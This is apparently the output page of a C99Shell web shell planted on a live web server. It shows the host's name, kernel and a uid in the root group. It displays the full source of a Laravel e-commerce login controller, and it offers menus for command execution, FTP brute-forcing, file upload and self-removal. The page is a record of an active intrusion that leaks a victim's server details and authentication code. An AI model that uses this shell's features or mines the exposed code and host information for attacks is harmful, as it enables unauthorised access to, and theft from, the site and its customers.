!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Site/   drwxr-xr-x
Free 23.75 GB of 117.98 GB (20.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LoginController.php (23.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package LoginController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 08-11-2021
 */

namespace App\Http\Controllers\Site;

use 
App\Http\Requests\Admin\AuthUserRequest;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Password;
use 
Illuminate\Support\Facades\Redirect;
use 
Laravel\Socialite\Facades\Socialite;

use 
App\Http\Controllers\{
    
Controller
};
use 
App\Models\{
    
PasswordReset,
    
Role,
    
RoleUser,
    
User,
    
Wishlist
};
use 
App\Services\Mail\{
    
UserMailService,
    
UserResetPasswordMailService,
    
UserSetPasswordMailService,
    
UserVerificationCodeMailService
};
use 
App\Services\ActivityLogService;

use 
StrDBAuthCartCompareCookie;

class 
LoginController extends Controller
{

    
/**
     * Constructor
     */
    
public function __construct()
    {
        
$this->ckname explode("_"Auth::getRecallerName())[2];
        
$this->middleware('guest:user')->except('logout');
    }

    
/**
     * @return login page view
     */
    
public function login(Request $request$verifyMsg null)
    {
        
$value Cookie::get($this->ckname);
        if (!
is_null($value)) {
            
$rememberedUser explode("."explode($this->cknamedecrypt($value))[1]);
            if (
$rememberedUser[1] == 'user' && Auth::guard('user')->loginUsingId($rememberedUser[0])) {
                
$ckkey encrypt($this->ckname Auth::user()->id ".user");
                
Cookie::queue($this->ckname$ckkey2592000);
                return 
redirect()->intended(session()->get('nextUrl'));
            }
        }


        if (
session()->get('prev1') == session()->get('prev3')) {
            if (!isset(
$request['page'])) {
                return 
redirect()->route('site.index')->with('loginRequired'true);
            }
            if (
$request['page'] == 'reset-password') {
                return 
redirect()->route('site.index', ['page' => $request['page']])->with('loginRequired'true);
            }
            if (
$request['page'] == 'confirm-password') {
                return 
redirect()->route('site.index', ['page' => $request['page'], 'id' => $request['id'], 'token' => $request['token']])->with('loginRequired'true);
            }
        }
        if (isset(
Auth::user()->id)) {
            return 
back();
        }
        if (!
is_null($verifyMsg)) {
            return 
redirect('/')->with('loginRequired'true)->with('verifyMsg'$verifyMsg);
        }

        return 
back()->with('loginRequired'true);
    }

    public function 
signUp(Request $request)
    {
        if (
preference('customer_signup') != '1') {
            return [
'status' => 0'error' => __('Customer sign up temporarily unavailable.')];
        }

        
$response = ['status' => 0];
        
$role Role::getAll()->where('slug''customer')->first();
        
$request['status'] = preference('user_default_signup_status') ?? 'Pending';
        
$validator User::siteStoreValidation($request->all());

        if (
$validator->fails()) {
            
$response['status'] = 0;
            
$response['error'] = $validator->errors();
            return 
$response;
        }

        
$request['raw_password'] = $request->password;
        
$request['password'] = \Hash::make($request->password);
        
$request['email'] = validateEmail($request->email) ? strtolower($request->email) : null;
        
$request['activation_code'] = Str::random(10);
        
$request['activation_otp'] = random_int(11119999);

        try {
            
DB::beginTransaction();
            
$id = (new User)->store($request->only('name''email''activation_code''activation_otp''password''status'));
            if (!empty(
$id)) {
                if (!empty(
$role)) {
                    (new 
RoleUser)->store(['user_id' => $id'role_id' => $role->id]);
                }

                
$emailResponse = (new UserVerificationCodeMailService)->send($request);
                if (
$emailResponse['status'] == false) {
                    
\DB::rollBack();
                    
$response['error'] = $emailResponse['message'];
                    return 
$response;
                }

                
DB::commit();
                
$response['status'] = 1;
                return 
$response;
            }
        } catch (
Exception $e) {
            
DB::rollBack();
            return [
'status' => 0'error' => $e->getMessage()];
        }
    }

    
/**
     * Login authenticate operation.
     *
     * @param AuthUserRequest $request
     * @return array response
     */
    
public function authenticate(AuthUserRequest $request)
    {
        
$supportEmail preference('company_email');
        
$message = [
            
'Deleted' => __("Invalid email or password"),
            
'Pending' => __("Please verify your email address.") . ' <a class="underline cursor-pointer text-gray-12 user-verification">' __('Click here to verify.') . '</a>',
            
'Inactive' => __("Sorry, your account is not activated. Please contact with :x", ['x' =>  "<a href='mailto:" $supportEmail "'>" $supportEmail "</a>"])
        ];

        
$user User::where('email'$request->email)->first();

        if (empty(
$user) || ! \Hash::check($request->password$user->password)) {
            (new 
ActivityLogService())->userLogin('failed''Incorrect');
            return [
'status' => 0'message' => __('Email or Password is incorrect!')];
        }

        if (
array_key_exists($user->status$message)) {
            (new 
ActivityLogService())->userLogin('failed'$user->status);
            return [
'status' => 0'message' => $message[$user->status]];
        }

        if (!
Auth::guard('user')->attempt($request->only('email''password'))) {
            (new 
ActivityLogService())->userLogin('failed''Invalid');
            return [
'status' => 0'message' => __('Invalid User')];
        }

        (new 
ActivityLogService())->userLogin('success''Login successful');

        
// Cart and compare data transfer
        
Cart::cartDataTransfer();
        
Compare::compareDataTransfer();

        
// Show welcome message when enter user dashboard first time after login.
        
session()->put('welcomeUser'true);
        
session()->put('vendorId'optional(auth()->user()->vendor())->vendor_id);

        if (!
is_null($request->remember_me)) {
            
$ckkey encrypt($this->ckname Auth::user()->id ".user");
            
Cookie::queue($this->ckname$ckkey2592000);
        }
        
// Wishlist store if user try without login
        
if (!empty($_COOKIE['product_id'])) {
            if (!(new 
Wishlist)->checkExistence(auth()->user()->id$_COOKIE['product_id'])) {
                (new 
Wishlist)->store(['product_id' => $_COOKIE['product_id'], 'user_id' => auth()->user()->id]);
            }
            
setcookie("product_id"""time() - 3600);
        }
        return [
'status' => 1'message' => __("You are now logged in!")];
    }

    
/**
     * User Verification
     *
     * @param $code
     * @return $msg
     */
    
public function verification(Request $request$code$from 'web')
    {
        
$user User::where('activation_code'$code)->first();
        if (empty(
$user)) {
            
$msg __('Invalid Request');
            return 
$this->login($request$msg);
        } else if (
$user->status == 'Active' && $from == 'web') {
            
$msg __('This account is already activated.');
            return 
$this->login($request$msg);
        } else if (
$user->status == 'Active' && $from == 'api') {
            return 
Redirect::to(preference('app_open_url'));
        }

        if ((new 
User)->updateUser(['status' => 'Active''activation_code' => NULL'activation_otp' => NULL'email_verified_at' => now()], $user->id)) {
            
$msg __('Your account is activated, please login.');

            if (
$from == 'api') {
                return 
Redirect::to(preference('app_open_url'));
            }

            return 
$this->login($request$msg);
        }
    }

    
/**
     * User Verification by otp
     *
     * @param $code
     * @return array $response
     */
    
public function verifyByOtp($code)
    {
        
$response = ['status' => 'fail''message' => __('Invalid Request')];
        
$user User::where('activation_otp'$code)->first();
        if (empty(
$user)) {
            return 
$response;
        }

        if ((new 
User)->updateUser(['status' => 'Active''activation_code' => NULL'activation_otp' => NULL'email_verified_at' => now()], $user->id)) {
            return [
'status' => 'success''message' =>  __('Your account is activated, please login.')];
        }
    }

    
/**
     * use Google driver
     *
     * @return \Symfony\Component\HttpFoundation\RedirectResponse
     */
    
public function redirectToGoogle()
    {
        return 
Socialite::driver('google')->redirect();
    }

    
/**
     * take data from Google and save in db & redirect in main page
     *
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function handelGoogleCallback()
    {
        
$user Socialite::driver('google')->user();

        
$this->_registerOrLoginUser($user'Google');
        return 
redirect()->route('site.index');
    }

    
/**
     * use Facebook driver
     *
     * @return \Symfony\Component\HttpFoundation\RedirectResponse
     */
    
public function redirectToFacebook()
    {
        return 
Socialite::driver('facebook')->redirect();
    }

    
/**
     * take data from Facebook and save in db & redirect in main page
     *
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function handelFacebookCallback()
    {
        
$user Socialite::driver('facebook')->user();

        
$response $this->_registerOrLoginUser($user'Facebook');
        if (
$response == true) {
            return 
redirect()->route('site.index');
        } else {
            return 
redirect()->route('site.emailSignup');
        }
    }

    
/**
     * save user data
     *
     * @param $data
     */
    
protected function _registerOrLoginUser($data$service null)
    {
        if (isset(
$data->email) && !empty($data->email) && $data->email != '') {

            
$user User::where('email''='$data->email)->first();

            if (!
$user) {
                try {
                    
DB::beginTransaction();
                    
$id = (new User)->store(['name' => $data->name'email' => $data->email'password' => \Hash::make(Str::random(5)), 'status' => 'Active',  'sso_account_id' => $data->id'sso_service' => $service], "url"$data->avatar);
                    if (!empty(
$id)) {
                        
$role Role::getAll()->where('slug''customer')->first();
                        if (!empty(
$role)) {
                            (new 
RoleUser)->store(['user_id' => $id'role_id' => $role->id]);
                        }
                        
DB::commit();
                    }
                } catch (
Exception $e) {
                    
DB::rollBack();
                }
                
$user User::where('id''='$id)->first();
            }

            if (!empty(
$user) && $user->status != 'Active') {
                
User::where('email'$data->email)->update(['status' => 'Active']);
            }

            
Auth::guard('user')->login($user);
            
Cart::cartDataTransfer();
            
Compare::compareDataTransfer();

            return 
true;
        } else {
            
$userData = [
                
'name' => $data->name,
                
'password' => Str::random(5),
                
'status' => 'Pending',
                
'sso_account_id' => $data->id,
                
'sso_service' => $service,
                
'url' => $data->avatar
            
];
            
request()->session()->put('userData'$userData);

            return 
false;
        }
    }

    
/**
     * logout operation.
     *
     * @return redirect login page view
     */
    
public function logout()
    {
        
$cookie Cookie::forget($this->ckname);
        
$user Auth::user();
        
Auth::guard('user')->logout();

        if (isset(
$user)) {
            (new 
ActivityLogService())->userLogout('success''Logout successful'$user);
        }
        return 
redirect()->route('site.index')->withCookie($cookie);
    }

    
/**
     * Opt form
     * @param string token
     * @return array $response
     */
    
public function resetOtp($token)
    {
        
$response = ['status' => 'fail''message' => __("Invalid password token")];

        if (empty((new 
PasswordReset)->tokenExist($token))) {
            return 
$response;
        }

        
$user = (new User)->getData($token);
        if (empty(
$user)) {
            return 
$response;
        }

        return [
'status' => 'success''id' => $user->id'token' => $token];
    }

    
/**
     * Send reset password link
     *
     * @param Request $request
     * @return JSON $data
     */
    
public function sendResetLinkEmail(Request $request)
    {
        
$data = ['status' => 'fail''message' => __('Invalid Request')];
        
$validator PasswordReset::storeValidation($request->all());
        if (
$validator->fails()) {
            return 
back()->withErrors($validator)->withInput();
        }

        
$request['token'] = Password::getRepository()->createNewToken();
        
$request['otp'] = random_int(11119999);
        
$request['created_at'] = date('Y-m-d H:i:s');
        try {
            
\DB::beginTransaction();
            (new 
PasswordReset)->storeOrUpdate($request->only('email''token''otp''created_at'));

            
$emailResponse = (new UserResetPasswordMailService)->send($request);
            if (
$emailResponse['status'] == false) {
                
\DB::rollBack();
                return [
'status' => 'fail''message' => $emailResponse['message']];
            }
            
$data['status'] = 'success';
            
$data['message'] = __('Password reset link sent to your email address.');

            
\DB::commit();
        } catch (
Exception $e) {
            
DB::rollBack();
            
$data['status'] = 'fail';
            
$data['message'] = $e->getMessage();
        }
        
$this->setSessionValue($data);


        return 
$data;
    }
    
/**
     * showResetForm method
     * @param string $tokens
     * @return show reset password page view
     */
    
public function showResetForm(Request $request$tokens)
    {
        if (
$tokens == 'otp') {
            
$tokens $request->token;
        }

        
$token = (new PasswordReset)->tokenExist($tokens);

        if (empty(
$token)) {
            return 
redirect()->route('site.login', ['page' => 'reset-password'])->withErrors(['email' => __("Invalid password token")]);
        }

        
$data = ['token' => $tokens];
        
$data['user'] = (new User)->getData($tokens);
        if (!
$data['user']) {
            return 
redirect()->route('site.login', ['page' => 'reset-password'])->withErrors(['email' => __("Invalid password token")]);
        }

        return 
redirect()->route('site.login', ['page' => 'confirm-password''id' => $data['user']['id'], 'token' => $data['token']]);
    }

    
/**
     * User verification with OTP
     *
     * @param Request $request
     * @return \Illuminate\Routing\Redirector
     */
    
public function userVerification(Request $request)
    {
        if (empty(
$request->token)) {
            return 
redirect()->back()->withErrors(['otp' => __("The OTP field is required.")]);
        }
        
$user User::where('activation_otp'$request->token)->orWhere('activation_code'$request->token);
        if (
$user->count() == 0) {
            
$response['message'] = __('Your OTP is invalid.');
            return 
redirect()->back()->withErrors(['otp' => __('Your OTP is invalid.')]);
        }
        
$user->update(['activation_otp' => null'activation_code' => null'status' => 'Active']);
        return 
redirect()->route('site.login');
    }

    
/**
     *@param Request $request
     * @return redirect login page view
     */
    
public function setPassword(Request $request)
    {
        
$data = ['status' => 'fail''message' => __('Invalid Request')];
        if (
$request->wantsJson()) {
            
$request = (object) $request;
        }

        
$response $this->checkExistence($request->id'users', ['getData' => true]);
        if (
$response['status'] === true) {
            
$validator PasswordReset::passwordValidation($request->all());
            if (
$validator->fails()) {
                return 
back()->withErrors($validator)->withInput();
            }
            
$request['raw_password'] = $request->password;
            
$request['updated_at'] = date('Y-m-d H:i:s');
            
$request['password'] = \Hash::make(trim($request->password));
            if ((new 
PasswordReset)->updatePassword($request->only('password''token''updated_at'), $request->id)) {
                
$request['user_name'] = $response['data']->name;
                
$request['email'] = $response['data']->email;

                
$emailResponse = (new UserSetPasswordMailService)->send($request);
                if (
$emailResponse['status'] == false) {
                    return 
redirect()->back()->withInput()->withErrors(['fail' => $emailResponse['message']]);
                }

                
$data['status'] = 'success';
                
$data['message'] = __('Password update successfully.');
            } else {
                
$data['message'] = __('Nothing is updated.');
            }
        } else {
            
$data['message'] = $response['message'];
        }

        if (
$request->wantsJson()) {
            return 
$data;
        }
        
$this->setSessionValue($data);
        return 
$this->login($request__('Password reset successfully.'));
    }

    
/**
     * Check Email Existence
     *
     * @param string $email
     * @return json $response
     */
    
public function checkEmailExistence($email)
    {
        
$response['status'] = 1;

        if (!empty(
$email) && User::where('email'$email)->count() > 0) {
            
$response['message'] = __("Email already has been taken.");
            return 
$response;
        }
        
$response['message'] = '';
        return 
$response;
    }

    
/**
     * signup from for email
     *
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    
public function emailSignup()
    {
        return 
view('site.auth.emailSignup');
    }

    
/**
     * user store if sso service email not provided
     *
     * @param Request $request
     * @return \Illuminate\Http\RedirectResponse|void
     * @throws \Exception
     */
    
public function emailStore(Request $request)
    {
        if (
$request->session()->has('userData')) {
            
$response $this->messageArray(__('Invalid Request'), 'fail');
            
$role Role::getAll()->where('slug''customer')->first();
            
$validator User::userEmailValidation($request->all());
            if (
$validator->fails()) {
                return 
back()->withErrors($validator)->withInput();
            }
            try {
                
DB::beginTransaction();
                
$userData $request->session()->get('userData');
                
$request['activation_code'] = Str::random(10);
                
$request['activation_otp'] = random_int(11119999);
                
$id = (new User)->store(['name' => $userData['name'], 'email' => $request->email'password' => \Hash::make($userData['password']), 'status' => 'Pending',  'sso_account_id' => $userData['sso_account_id'], 'sso_service' => $userData['sso_service'], 'activation_code' => $request->activation_code'activation_otp' => $request->activation_otp], "url"$userData['url']);
                if (!empty(
$id)) {
                    if (!empty(
$role)) {
                        (new 
RoleUser)->store(['user_id' => $id'role_id' => $role->id]);
                    }

                    
$request['name'] = $userData['name'];
                    
$request['raw_password'] = $userData['password'];

                    
// Send Mail to the customer
                    
$emailResponse = (new UserMailService)->send($request);

                    if (
$emailResponse['status'] == false) {
                        
\DB::rollBack();
                        
$response['message'] = $emailResponse['message'];
                        
$this->setSessionValue($response);
                        return 
redirect()->back();
                    }

                    
DB::commit();
                    
$request->session()->forget('userData');
                    return 
redirect()->route('site.verification.otp');
                }
            } catch (
Exception $e) {
                
DB::rollBack();
                
$response['message'] = $e->getMessage();
            }
            
$this->setSessionValue($response);
        } else {
            return 
redirect()->route('site.index');
        }
    }

    
/**
     * @param Request $request
     * @param String $mail
     * return $response;
     */
    
public function validMail(Request $request$mail)
    {
        
$response = ['status' => 'fail''message' => __('Email address does not exists in the system.')];
        if (!
validateEmail($mail)) {
            return [
'status' => 'fail''message' => __('Please Enter a valid :x.', ['x' => __('Email address')])];
        }

        
$user User::firstWhere('email'$mail);
        if (empty(
$user) || $user->status == 'Deleted') {
            return 
$response;
        }

        if (
$user->status == 'Pending') {
            
$response['message'] = __('Please verify your email address.');
            return 
$response;
        }

        if (
$user->status == 'Inactive') {
            
$response['message'] = __("Sorry, your account is not activated. Please contact with the site administrator.");
            return 
$response;
        }

        
$request['email'] = $mail;
        
$response $this->sendResetLinkEmail($request);
        if (
$response['status'] == 'fail') {
            return 
$response;
        }
        return [
'status' => 'success''message' => __('Password reset link sent to your email address.')];
    }

    
/**
     * Re-send user verification code
     *
     * @param Request $request
     * @return array $response;
     */
    
public function resendUserVerificationCode(Request $request)
    {
        
$response = ['status' => 'fail'];
        
$request['raw_password'] = $request['password'];
        
$request['password'] = \Hash::make($request['password']);
        
$request['email'] = validateEmail($request['email']) ? strtolower($request['email']) : null;
        
$request['activation_code'] = Str::random(10);
        
$request['activation_otp'] = random_int(11119999);

        
$user User::where('email'$request->email)->first();
        
$request['name'] = $user->name;

        
$request = (object) $request;
        
$result = (new User)->updateUser($request->only('activation_code''activation_otp'), $user->id);
        if (!empty(
$result)) {
            try {
                
DB::beginTransaction();
                
$emailResponse = (new UserVerificationCodeMailService)->send($request);
                if (
$emailResponse['status'] == false) {
                    
$response['message'] = $emailResponse['message'];
                    
DB::rollback();
                    return 
$response;
                }
                
$response['status'] = 'success';
                
DB::commit();
                return 
$response;
            } catch (
\Exception $e) {
                
DB::rollback();
                
$response['message'] = $e->getMessage();
                return 
$response;
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--